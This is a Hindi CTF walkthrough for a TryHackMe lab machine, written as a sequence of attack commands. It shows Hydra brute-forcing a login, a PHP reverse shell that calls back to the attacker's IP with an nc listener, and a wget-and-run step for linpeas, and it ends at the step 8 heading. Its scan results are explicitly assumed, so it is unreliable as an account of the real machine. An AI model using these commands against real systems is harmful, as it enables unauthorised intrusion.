TryHackMe - Source Machine में CTF फ़्लैग खोजने का पूरा स्टेप-बाय-स्टेप गाइड (हिंदी में)

इस गाइड में, हम TryHackMe की **Source** मशीन को एक्सप्लोर करके CTF फ़्लैग ढूंढने का प्रोसेस पूरा करेंगे। मैं हर स्टेप को डीटेल में समझाऊंगा कि कहां कौन-सी कमांड रन करनी है, क्या कॉपी-पेस्ट करना है और किन चीजों पर ध्यान देना है।

🔹 **स्टेप 1: मशीन को एक्सेस करना (TryHackMe VPN से कनेक्ट होना)**

सबसे पहले, हमें TryHackMe के OpenVPN से कनेक्ट करना होगा ताकि हम मशीन से इंटरैक्ट कर सकें।

कमांड:

bash

CopyEdit

sudo openvpn your_vpn_file.ovpn

- **your_vpn_file.ovpn**: TryHackMe से डाउनलोड किया हुआ OpenVPN प्रोफाइल।
- इस कमांड को **अपने लोकल सिस्टम (Kali Linux या Parrot OS) के टर्मिनल में चलाना है**।
- अगर सही से कनेक्शन हो गया तो, **"Initialization Sequence Completed"** का मैसेज दिखेगा।

अब हम TryHackMe के लैब में **Source मशीन** का IP देखेंगे (मान लीजिए IP है 10.10.200.100)।

🔹 **स्टेप 2: टारगेट IP की स्कैनिंग (Nmap का उपयोग करके)**

अब हमें यह पता लगाना है कि मशीन पर कौन-कौन से पोर्ट खुले हैं और कौन-सी सर्विसेज चल रही हैं।

कमांड:

bash

CopyEdit

nmap -sC -sV -A 10.10.200.100

👉 **यह कमांड क्या करती है?**

- -sC : डिफ़ॉल्ट NSE स्क्रिप्ट्स चलाती है (जो कमजोरियां खोजने में मदद कर सकती हैं)।
- -sV : सर्विस वर्ज़न डिटेक्ट करता है।
- -A : ओएस डिटेक्शन, वर्ज़न डिटेक्शन और ट्रेसिंग करता है।

👉 **हमें क्या मिलेगा?**

- हमें पता चलेगा कि कौन-कौन से पोर्ट खुले हैं।
- कौन-सी सर्विसेज चल रही हैं (जैसे कि Apache, SSH, FTP, आदि)।
- कोई **छिपी हुई डायरेक्टरी या कमजोरियां** तो नहीं हैं।

🎯 **मान लेते हैं कि स्कैन का रिजल्ट कुछ ऐसा आया:**

pgsql

CopyEdit

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu

80/tcp open http Apache 2.4.29

इसका मतलब है कि:

- पोर्ट **22 (SSH)** और **80 (HTTP)** खुले हैं।
- वेबसाइट (Apache) रन कर रही है।

🔹 **स्टेप 3: वेबसाइट एनालिसिस (Gobuster से डायरेक्टरी खोजना)**

अब हमें वेबसाइट को एक्सप्लोर करना है। सबसे पहले, हम ब्राउज़र में **http://10.10.200.100** खोलकर देखेंगे कि वहां कुछ खास दिखता है या नहीं।

फिर, हम छिपी हुई डायरेक्टरी ढूंढेंगे:

bash

CopyEdit

gobuster dir -u http://10.10.200.100 -w /usr/share/wordlists/dirb/common.txt

👉 **यह कमांड क्या करती है?**

- -u : टारगेट URL (यानी वेबसाइट का एड्रेस)।
- -w : वर्डलिस्ट (जो संभावित डायरेक्टरी को स्कैन करने के लिए इस्तेमाल होती है)।

🎯 **मान लीजिए, रिजल्ट कुछ ऐसा आता है:**

bash

CopyEdit

/admin

/uploads

/backup

इसका मतलब है कि /admin, /uploads, और /backup जैसी डायरेक्टरी एक्सिस्ट करती हैं।

🔹 **स्टेप 4: एडमिन पैनल एक्सेस करने की कोशिश (Brute-Force Login)**

अब हमें **/admin** पेज खोलकर देखना होगा कि वहां लॉगिन पेज है या नहीं।

- ब्राउज़र में **http://10.10.200.100/admin** खोलें।
- अगर लॉगिन पेज दिखता है, तो हमें यूज़रनेम-पासवर्ड ढूंढने होंगे।

अगर हमें यूजरनेम नहीं पता तो **Hydra** का इस्तेमाल करेंगे:

bash

CopyEdit

hydra -L users.txt -P passwords.txt 10.10.200.100 http-post-form "/admin/login.php:username=^USER^&password=^PASS^:Invalid username"

👉 **यह कमांड क्या करती है?**

- -L : यूज़रनेम की वर्डलिस्ट।
- -P : पासवर्ड की वर्डलिस्ट।
- http-post-form : लॉगिन फॉर्म को ऑटोमेटिक ट्राई करता है।

अगर सही यूज़रनेम-पासवर्ड मिल जाता है, तो हम /admin पैनल में लॉगिन कर सकते हैं।

🔹 **स्टेप 5: रिवर्स शेल अपलोड करना (Remote Shell Access)**

अगर हमें /uploads डायरेक्टरी में फाइल अपलोड करने का ऑप्शन दिखता है, तो हम एक **PHP Reverse Shell** अपलोड कर सकते हैं।
सबसे पहले, Kali Linux में रिवर्स शेल क्रिएट करें:

bash

CopyEdit

cp /usr/share/webshells/php/php-reverse-shell.php shell.php

अब इसे एडिट करें और हमारे IP और पोर्ट डालें:

bash

CopyEdit

nano shell.php

इन लाइन को एडिट करें:

php

CopyEdit

$ip = 'Your-VPN-IP'; // अपना IP डालें (ifconfig से पता कर सकते हैं)

$port = 4444;

अब इस फाइल को /uploads में अपलोड करें और लिसनर चालू करें:

bash

CopyEdit

nc -lvnp 4444

अब ब्राउज़र में **http://10.10.200.100/uploads/shell.php** खोलें और हमें बैकडोर एक्सेस मिल जाएगा! 🎉

🔹 **स्टेप 6: प्रिविलेज एस्केलेशन (रूट एक्सेस पाना)**

अब हमें चेक करना है कि कोई कमज़ोरी तो नहीं जिससे हम **root user** बन सकें।

सबसे पहले यह कमांड चलाएं:

bash

CopyEdit

sudo -l

अगर कोई ऐसा कमांड मिला जिसे **sudo बिना पासवर्ड** के चला सकता है, तो उसे इस्तेमाल करें।

इसके अलावा, **LinPEAS** से ऑटोमेटिक चेक कर सकते हैं:

bash

CopyEdit

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

अगर कुछ **SUID binaries** मिलती हैं, तो उनका इस्तेमाल करके root shell ले सकते हैं।

🔹 **स्टेप 7: CTF Flag खोजना**

अब हमें /root/ या /home/ में flag.txt फाइल ढूंढनी होगी।

bash

CopyEdit

find / -name "flag*" 2>/dev/null

अगर फ्लैग मिल जाता है, तो उसे पढ़ने के लिए:

bash

CopyEdit

cat /root/flag.txt

🎉 **बधाई हो! आपने CTF फ़्लैग खोज लिया!**

🔹 **स्टेप 8: TryHackMe पर फ़्लैग सबमिट करें**